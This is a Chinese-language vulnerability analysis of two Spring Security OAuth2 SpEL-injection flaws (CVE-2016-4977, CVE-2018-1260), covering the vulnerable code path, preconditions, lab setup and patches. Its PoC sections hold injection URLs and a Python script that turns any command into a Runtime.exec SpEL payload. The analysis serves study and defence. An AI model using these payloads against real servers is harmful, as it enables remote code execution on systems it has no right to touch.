spring|Spring Security OAuth2 远程代码执行漏洞分析(CVE-2016-4977/CVE-2018-1260)


文章目录

  • Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)
    • 漏洞分析
    • PoC
    • 知识回顾 - SpringMVC工作流程
    • 漏洞修复
  • Spring Security OAuth2 远程代码执行(CVE-2018-1260)
    • 漏洞分析
    • 前置条件
    • PoC
    • 漏洞修复
  • 参考

Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977) 漏洞公告:
https://tanzu.vmware.com/security/cve-2016-4977
影响版本:
  • 2.0.0 to 2.0.9
  • 1.0.0 to 1.0.5
Spring Security OAuth2 是Spring Security的子项目,是对OAuth 2.0 授权机制的实现(现在该项目已弃用,对OAuth 2.0的支持已迁移到Spring Security主项目中)。
环境搭建:
https://github.com/vulhub/vulhub/tree/master/spring
漏洞分析
由于并不是因为OAuth 2.0授权机制的实现代码出现了问题,所以本文并不会对OAuth 2.0的概念、授权流程等进行详细介绍,对OAuth 2.0的授权流程不熟悉的可以参考[4][5][6]
Spring Security OAuth2使用SpringMVC实现Web接口。该漏洞出现在授权接口 /oauth/authorize,该接口需要登录后才能访问。
该接口会先后对入参response_typeredirect_uri进行检查,如果其中任何一个参数值不满足条件,会将参数的值封装到异常信息中,然后将异常对象存入request的属性attributes中,然后转发到/oauth/error接口继续处理。
spring|Spring Security OAuth2 远程代码执行漏洞分析(CVE-2016-4977/CVE-2018-1260)
文章图片

/oauth/error接口处理时,将异常对象从request域中取出来,然后和一个包含了SpEL表达式模板的SpelView视图对象一起构造一个模型视图对象ModelAndView并返回。
spring|Spring Security OAuth2 远程代码执行漏洞分析(CVE-2016-4977/CVE-2018-1260)
文章图片

然后再次进入DispatcherServlet#processDispatchResult()对模型视图对象ModelAndView处理。其中,会调用SpelView#render()进行视图渲染。
SpelView#render() 执行的过程中:
  • (1) 将包含了异常对象的Model对象放到SpEL的求值上下文StandardEvaluationContex中;
  • (2) 对SpEL表达式模板进行递归求值处理:先把${}符号里的内容提取出来,得到error.summary,对error.summary进行SpEL表达式求值就相当于调用异常对象的getSummary()方法,求值后得到一个异常信息字符串。
    spring|Spring Security OAuth2 远程代码执行漏洞分析(CVE-2016-4977/CVE-2018-1260)
    文章图片
  • (3) 如果得到的异常信息字符串中还包含有${}符号的话,就再次取里面的内容进行SpEL表达式求值。
    spring|Spring Security OAuth2 远程代码执行漏洞分析(CVE-2016-4977/CVE-2018-1260)
    文章图片
PoC
关于SpEL表达式,Spring的官方文档是最好的教程(参考[2]
/oauth/authorize?response_type=${4*7} &client_id=acme &scope=openid &redirect_uri=http://test或: http://vulfocus.my:8081/oauth/authorize?response_type=token &client_id=acme &scope=openid &redirect_uri=${3*9}

如果要构造能执行命令的SpEL表达式,这里有个坑,就是表达式里不能存在空格,否则在空格前会被插入一个逗号,比如'open -a Calculator'会变为open, -a, Calculator,从而导致命令格式错误而无法被执行。
这里可以利用Character.toString(char)将ASCII值转化为字母,然后用字符串的concat()方法将字符拼接起来,这样就不会出现空格了。
可用Python脚本快速实现:
#!/usr/bin/env python3msg = input('Please input command that you want to encode: ')payload = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(msg[0])for i in msg[1:]: payload += '.concat(T(java.lang.Character).toString(%s))' % ord(i) payload += ')}'print(payload)

知识回顾 - SpringMVC工作流程 SpringMVC的请求-响应流程的函数调用栈如下:
DispatcherServlet#service() ->DispatcherServlet#doService() ->DispatcherServlet#doDispatch() //进行handler的调度,这是DispatcherServlet最核心的方法,整个SpringMVC的执行流程都在该方法中完成! ->DispatcherServlet#getHandler() //获取对应的handler(即根据/hello获取对应HelloController) ->BeanNameUrlHandlerMapping#getHandler() //获取/hello对应的HelloController,并将其封装到HandlerExecutionChain对象中并返回,该对象不仅包含该url对应的Controller,还包含了对应的拦截器Interceptor集合(BeanNameUrlHandlerMapping,在spring应用的配置文件里有注册) ->DispatcherServlet#getHandlerAdapter()//根据得到的Controller,获取对应的适配器(SimpleControllerHandlerAdapter,在spring应用的配置文件里有注册) ->HandlerExecutionChain#applyPreHandle()//遍历HandlerExecutionChain中的拦截器,并执行拦截器的preHandle()方法 ->SimpleControllerHandlerAdapter#handle()//执行HelloController的handleRequest()方法,并返回ModelAndView对象 ->HandlerExecutionChain#appPostHandle()//遍历HandlerExecutionChain中的拦截器,并执行拦截器的postHandle()方法 ->DispatcherServlet#processDispatchResult()//根据ModelAndView对象对结果进行处理 ->DispatcherServlet#render()从ModelAndView对象中获取视图名称viewName ->DispatcherServlet#resolveViewName()//视图解析器InternalResourceViewResolver(这个在Spring应用的配置文件里有注册)对视图名称viewName进行解析并返回一个View对象(InternalResourceView),这个View对象中包含了视图资源文件的url。 ->InternalResourceView#render()//View对象构造响应输出

对应到流程图如下:
spring|Spring Security OAuth2 远程代码执行漏洞分析(CVE-2016-4977/CVE-2018-1260)
文章图片

漏洞修复 漏洞修复代码见:
https://github.com/spring-projects/spring-security-oauth/commit/fff77d3fea477b566bcacfbfc95f85821a2bdc2d
spring|Spring Security OAuth2 远程代码执行漏洞分析(CVE-2016-4977/CVE-2018-1260)
文章图片

修复后的代码,将SpEL表达式的前缀判断改为了长度为6的随机字符串+{。这样的话,攻击者由于不知道前缀,所以就无法注入SpEL表达式进行攻击。
至于网上说这里因为是长度为6的随机字符串,有被暴破的风险。但个人认为不会,因为每一次的请求,在转发到/oauth/error接口处理,构造ModelAndView对象时,都会新建一个SpelView对象传进去,所以每次请求,这个6字节的随机字符串都会重新生成,所以并不存在暴破风险。当然,笔者只是根据代码的逻辑来判断的,并未实际调试验证。
Spring Security OAuth2 远程代码执行(CVE-2018-1260) 漏洞公告:
https://tanzu.vmware.com/security/cve-2018-1260
影响版本:
  • Spring Security OAuth 2.3 to 2.3.2
  • Spring Security OAuth 2.2 to 2.2.1
  • Spring Security OAuth 2.1 to 2.1.1
  • Spring Security OAuth 2.0 to 2.0.14
  • Older unsupported versions are also affected
环境搭建:
从github找一个demo项目快速搭起来https://github.com/wanghongfei/spring-security-oauth2-example,按照demo说明将数据库配好后,将demo里的OAuthSecurityConfig#configure(ClientDetailsServiceConfigurer)方法修改如下,重点是将scope域置空,这是漏洞能成功触发的条件。
@Override public void configure(ClientDetailsServiceConfigurer clients) throws Exception { clients.inMemory() .withClient("client") .secret("secret") .authorizedGrantTypes("authorization_code") .scopes(); }

按照官网文档的说明,scope如果不设置,默认值就是空的。但spring-security-oauth2:2.0.8 版本默认值却是openid
spring|Spring Security OAuth2 远程代码执行漏洞分析(CVE-2016-4977/CVE-2018-1260)
文章图片

用前面CVE-2016-4977的环境也是可以的,不过要把application.propertiessecurity.oauth2.client.scope配置置空才行。
漏洞分析 这个漏洞的入口也是在授权接口/oauth/authorize,但与CVE-2016-4977不同,是另外一条通路。
CVE-2016-4977是访问授权接口/oauth/authorize时,可控response_typeredirect_uri参数不合法,从而在异常处理的流程中,注入了SpEL的可控参数被封装到异常信息中,从而在渲染报错页面时触发SpEL表达式求值。
而CVE-2018-1260 是在授权成功后的流程中触发了SpEL表达式求值。
/oauth/authorize 会将传入的scope的值将服务端配置的值进行比对,如果不匹配则会抛出异常InvalidScopeException。但如果scope配置的值为空,则校验函数直接就返回了。
scope表示客户端能访问资源的范围,这个值实际的服务端开发中都会预设值而不是为空,但这里为了漏洞复现,就在配置类OAuthSecurityConfig中将scope的预设值置为空了。
spring|Spring Security OAuth2 远程代码执行漏洞分析(CVE-2016-4977/CVE-2018-1260)
文章图片

spring|Spring Security OAuth2 远程代码执行漏洞分析(CVE-2016-4977/CVE-2018-1260)
文章图片

后面如果没有其他异常出现,则会将请求转发到/oauth/confirm_access接口进行后续的处理。
spring|Spring Security OAuth2 远程代码执行漏洞分析(CVE-2016-4977/CVE-2018-1260)
文章图片

后面的SpEL执行的触发流程就跟CVE-2016-4977类似了,也是在SpelView渲染的时候触发的。

前置条件 从上述分析可知,该漏洞被利用的话有以下前置条件:
  • scope要配置为空;实际开发中一般都会给scope预设值。
  • 需使用默认的Approval Endpoint,即WhitelabelApprovalEndpoint。通过默认的页面模板构造SpelView对象,从而让通过scope参数注入的SpEL表达式在SpelView渲染的过程中解释执行。而在实际开发中,很可能会使用自定义的Approval Endpoint实现,从而导致无法进行SpEL注入。
PoC 命令执行PoC构造同CVE-2016-4977。
漏洞修复 补丁见:
https://github.com/spring-projects/spring-security-oauth/commit/adb1e6d19c681f394c9513799b81b527b0cb007c
【spring|Spring Security OAuth2 远程代码执行漏洞分析(CVE-2016-4977/CVE-2018-1260)】在修复版本中将SpelView.java给删除了,而且在WhitelabelApprovalEndpoint.java 中,使用了一个View的匿名实现类去作为替换。
spring|Spring Security OAuth2 远程代码执行漏洞分析(CVE-2016-4977/CVE-2018-1260)
文章图片

参考 [1] https://github.com/vulhub/vulhub/tree/master/spring
[2] https://docs.spring.io/spring-framework/docs/4.3.12.RELEASE/spring-framework-reference/html/expressions.html
[3] https://tanzu.vmware.com/security/
[4] https://www.ruanyifeng.com/blog/2019/04/oauth_design.html
[5] https://www.ruanyifeng.com/blog/2019/04/oauth-grant-types.html
[6] https://www.ruanyifeng.com/blog/2019/04/github-oauth.html
[7] https://xz.aliyun.com/t/2330
[8] https://projects.spring.io/spring-security-oauth/docs/oauth2.html

    推荐阅读